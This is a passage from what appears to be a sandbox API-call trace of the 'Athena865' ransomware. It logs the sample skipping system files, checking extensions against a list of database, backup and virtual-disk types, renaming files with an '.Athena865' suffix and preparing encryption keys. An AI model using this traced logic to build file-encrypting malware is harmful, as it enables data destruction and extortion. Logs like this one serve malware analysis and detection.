(lpString1="WMF", lpString2="pnz") returned 1 [0128.188] lstrlenW (lpString="qry") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.188] lstrlenW (lpString="qvd") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.188] lstrlenW (lpString="rbf") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.188] lstrlenW (lpString="rctd") returned 4 [0128.188] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.188] lstrlenW (lpString="rod") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.188] lstrlenW (lpString="rodx") returned 4 [0128.188] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.188] lstrlenW (lpString="rpd") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.188] lstrlenW (lpString="rsd") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.188] lstrlenW (lpString="sas7bdat") returned 8 [0128.188] lstrcmpiW (lpString1="6540.WMF", lpString2="sas7bdat") returned -1 [0128.188] lstrlenW (lpString="sbf") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.188] lstrlenW (lpString="scx") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.188] lstrlenW (lpString="sdb") returned 3 [0128.188] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.188] lstrlenW (lpString="sdc") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.189] lstrlenW (lpString="sdf") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.189] lstrlenW (lpString="sis") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.189] lstrlenW (lpString="spq") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.189] lstrlenW (lpString="te") returned 2 [0128.189] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.189] lstrlenW (lpString="teacher") returned 7 [0128.189] lstrcmpiW (lpString1="540.WMF", lpString2="teacher") returned -1 [0128.189] lstrlenW (lpString="tmd") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.189] lstrlenW (lpString="tps") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.189] lstrlenW (lpString="trc") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.189] lstrlenW (lpString="trc") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.189] lstrlenW (lpString="trm") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.189] lstrlenW (lpString="udb") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.189] lstrlenW (lpString="udl") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.189] lstrlenW (lpString="usr") returned 3 [0128.189] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.189] lstrlenW (lpString="v12") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.190] lstrlenW (lpString="vis") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.190] lstrlenW (lpString="vpd") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.190] lstrlenW (lpString="vvv") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.190] lstrlenW (lpString="wdb") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.190] lstrlenW (lpString="wmdb") returned 4 [0128.190] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.190] lstrlenW (lpString="wrk") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.190] lstrlenW (lpString="xdb") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.190] lstrlenW (lpString="xld") returned 3 [0128.190] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.190] lstrlenW (lpString="xmlff") returned 5 [0128.190] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0128.190] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.Athena865") returned 73 [0128.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.athena865"), dwFlags=0x1) returned 1 [0128.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.192] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42120) returned 1 [0128.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.192] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.193] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.193] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.193] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa790, lpName=0x0) returned 0x154 [0128.194] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa790) returned 0x100000 [0128.197] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.198] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.198] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.198] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.199] CloseHandle (hObject=0x154) returned 1 [0128.199] CloseHandle (hObject=0x17c) returned 1 [0128.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.201] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2=".") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="..") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="windows") returned -1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="bootmgr") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="temp") returned -1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="pagefile.sys") returned -1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="boot") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ids.txt") returned 1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="ntuser.dat") returned -1 [0128.201] lstrcmpiW (lpString1="J0216570.WMF", lpString2="perflogs") returned -1 [0128.202] lstrcmpiW (lpString1="J0216570.WMF", lpString2="MSBuild") returned -1 [0128.202] lstrlenW (lpString="J0216570.WMF") returned 12 [0128.202] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216570.WMF" | out: lpString1="J0216570.WMF") returned="J0216570.WMF" [0128.202] lstrlenW (lpString="J0216570.WMF") returned 12 [0128.202] lstrlenW (lpString="Athena865") returned 9 [0128.202] lstrcmpiW (lpString1="16570.WMF", lpString2="Athena865") returned -1 [0128.202] lstrlenW (lpString=".dll") returned 4 [0128.202] lstrcmpiW (lpString1="J0216570.WMF", lpString2=".dll") returned 1 [0128.202] lstrlenW (lpString=".lnk") returned 4 [0128.202] lstrcmpiW (lpString1="J0216570.WMF", lpString2=".lnk") returned 1 [0128.202] lstrlenW (lpString=".ini") returned 4 [0128.202] lstrcmpiW (lpString1="J0216570.WMF", lpString2=".ini") returned 1 [0128.202] lstrlenW (lpString=".sys") returned 4 [0128.202] lstrcmpiW (lpString1="J0216570.WMF", lpString2=".sys") returned 1 [0128.202] lstrlenW (lpString="J0216570.WMF") returned 12 [0128.202] lstrlenW (lpString="bak") returned 3 [0128.202] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.202] lstrlenW (lpString="ba_") returned 3 [0128.202] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.202] lstrlenW (lpString="dbb") returned 3 [0128.202] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.202] lstrlenW (lpString="vmdk") returned 4 [0128.202] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.202] lstrlenW (lpString="rar") returned 3 [0128.202] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.203] lstrlenW (lpString="zip") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.203] lstrlenW (lpString="tgz") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.203] lstrlenW (lpString="vbox") returned 4 [0128.203] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.203] lstrlenW (lpString="vdi") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.203] lstrlenW (lpString="vhd") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.203] lstrlenW (lpString="vhdx") returned 4 [0128.203] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.203] lstrlenW (lpString="avhd") returned 4 [0128.203] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.203] lstrlenW (lpString="db") returned 2 [0128.203] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.203] lstrlenW (lpString="db2") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.203] lstrlenW (lpString="db3") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.203] lstrlenW (lpString="dbf") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.203] lstrlenW (lpString="mdf") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.203] lstrlenW (lpString="mdb") returned 3 [0128.203] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.203] lstrlenW (lpString="sql") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.204] lstrlenW (lpString="sqlite") returned 6 [0128.204] lstrcmpiW (lpString1="70.WMF", lpString2="sqlite") returned -1 [0128.204] lstrlenW (lpString="sqlite3") returned 7 [0128.204] lstrcmpiW (lpString1="570.WMF", lpString2="sqlite3") returned -1 [0128.204] lstrlenW (lpString="sqlitedb") returned 8 [0128.204] lstrcmpiW (lpString1="6570.WMF", lpString2="sqlitedb") returned -1 [0128.204] lstrlenW (lpString="xml") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.204] lstrlenW (lpString="$er") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.204] lstrlenW (lpString="4dd") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.204] lstrlenW (lpString="4dl") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.204] lstrlenW (lpString="^^^") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.204] lstrlenW (lpString="abs") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.204] lstrlenW (lpString="abx") returned 3 [0128.204] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.204] lstrlenW (lpString="accdb") returned 5 [0128.204] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0128.204] lstrlenW (lpString="accdc") returned 5 [0128.204] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0128.204] lstrlenW (lpString="accde") returned 5 [0128.204] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0128.205] lstrlenW (lpString="accdr") returned 5 [0128.205] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0128.205] lstrlenW (lpString="accdt") returned 5 [0128.205] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0128.205] lstrlenW (lpString="accdw") returned 5 [0128.205] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0128.205] lstrlenW (lpString="accft") returned 5 [0128.205] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0128.205] lstrlenW (lpString="adb") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.205] lstrlenW (lpString="adb") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.205] lstrlenW (lpString="ade") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.205] lstrlenW (lpString="adf") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.205] lstrlenW (lpString="adn") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.205] lstrlenW (lpString="adp") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.205] lstrlenW (lpString="alf") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.205] lstrlenW (lpString="ask") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.205] lstrlenW (lpString="btr") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.205] lstrlenW (lpString="cat") returned 3 [0128.205] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.206] lstrlenW (lpString="cdb") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.206] lstrlenW (lpString="ckp") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.206] lstrlenW (lpString="cma") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.206] lstrlenW (lpString="cpd") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.206] lstrlenW (lpString="dacpac") returned 6 [0128.206] lstrcmpiW (lpString1="70.WMF", lpString2="dacpac") returned -1 [0128.206] lstrlenW (lpString="dad") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.206] lstrlenW (lpString="dadiagrams") returned 10 [0128.206] lstrcmpiW (lpString1="216570.WMF", lpString2="dadiagrams") returned -1 [0128.206] lstrlenW (lpString="daschema") returned 8 [0128.206] lstrcmpiW (lpString1="6570.WMF", lpString2="daschema") returned -1 [0128.206] lstrlenW (lpString="db-journal") returned 10 [0128.206] lstrcmpiW (lpString1="216570.WMF", lpString2="db-journal") returned -1 [0128.206] lstrlenW (lpString="db-shm") returned 6 [0128.206] lstrcmpiW (lpString1="70.WMF", lpString2="db-shm") returned -1 [0128.206] lstrlenW (lpString="db-wal") returned 6 [0128.206] lstrcmpiW (lpString1="70.WMF", lpString2="db-wal") returned -1 [0128.206] lstrlenW (lpString="dbc") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.206] lstrlenW (lpString="dbs") returned 3 [0128.206] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.207] lstrlenW (lpString="dbt") returned 3 [0128.207] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.207] lstrlenW (lpString="dbv") returned 3 [0128.207] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.207] lstrlenW (lpString="dbx") returned 3 [0128.207] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.207] lstrlenW (lpString="dcb") returned 3 [0128.207] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.207] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.207] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.Athena865") returned 73 [0128.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.athena865"), dwFlags=0x1) returned 1 [0128.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.209] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24796) returned 1 [0128.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.209] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.210] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.210] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.210] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63e0, lpName=0x0) returned 0x154 [0128.212] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63e0) returned 0x100000 [0128.217] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.220] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.220] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.225] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.225] CloseHandle (hObject=0x154) returned 1 [0128.226] CloseHandle (hObject=0x17c) returned 1 [0128.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.228] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0128.228] lstrcmpiW (lpString1="J0216600.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.228] lstrcmpiW (lpString1="J0216600.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.228] lstrcmpiW (lpString1="J0216600.WMF", lpString2=".") returned 1 [0128.228] lstrcmpiW (lpString1="J0216600.WMF", lpString2="..") returned 1 [0128.228] lstrcmpiW (lpString1="J0216600.WMF", lpString2="windows") returned -1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="bootmgr") returned 1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="temp") returned -1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="pagefile.sys") returned -1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="boot") returned 1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ids.txt") returned 1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="ntuser.dat") returned -1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="perflogs") returned -1 [0128.230] lstrcmpiW (lpString1="J0216600.WMF", lpString2="MSBuild") returned -1 [0128.230] lstrlenW (lpString="J0216600.WMF") returned 12 [0128.230] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216600.WMF" | out: lpString1="J0216600.WMF") returned="J0216600.WMF" [0128.230] lstrlenW (lpString="J0216600.WMF") returned 12 [0128.231] lstrlenW (lpString="Athena865") returned 9 [0128.232] lstrcmpiW (lpString1="16600.WMF", lpString2="Athena865") returned -1 [0128.232] lstrlenW (lpString=".dll") returned 4 [0128.232] lstrcmpiW (lpString1="J0216600.WMF", lpString2=".dll") returned 1 [0128.232] lstrlenW (lpString=".lnk") returned 4 [0128.232] lstrcmpiW (lpString1="J0216600.WMF", lpString2=".lnk") returned 1 [0128.232] lstrlenW (lpString=".ini") returned 4 [0128.232] lstrcmpiW (lpString1="J0216600.WMF", lpString2=".ini") returned 1 [0128.232] lstrlenW (lpString=".sys") returned 4 [0128.232] lstrcmpiW (lpString1="J0216600.WMF", lpString2=".sys") returned 1 [0128.232] lstrlenW (lpString="J0216600.WMF") returned 12 [0128.232] lstrlenW (lpString="bak") returned 3 [0128.233] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.233] lstrlenW (lpString="ba_") returned 3 [0128.233] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.233] lstrlenW (lpString="dbb") returned 3 [0128.233] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.233] lstrlenW (lpString="vmdk") returned 4 [0128.233] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.233] lstrlenW (lpString="rar") returned 3 [0128.234] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.234] lstrlenW (lpString="zip") returned 3 [0128.234] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.234] lstrlenW (lpString="tgz") returned 3 [0128.234] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.235] lstrlenW (lpString="vbox") returned 4 [0128.235] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.235] lstrlenW (lpString="vdi") returned 3 [0128.236] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.236] lstrlenW (lpString="vhd") returned 3 [0128.236] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.236] lstrlenW (lpString="vhdx") returned 4 [0128.236] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.236] lstrlenW (lpString="avhd") returned 4 [0128.237] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.237] lstrlenW (lpString="db") returned 2 [0128.237] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.237] lstrlenW (lpString="db2") returned 3 [0128.237] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.237] lstrlenW (lpString="db3") returned 3 [0128.238] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.238] lstrlenW (lpString="dbf") returned 3 [0128.238] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.238] lstrlenW (lpString="mdf") returned 3 [0128.238] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.238] lstrlenW (lpString="mdb") returned 3 [0128.238] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 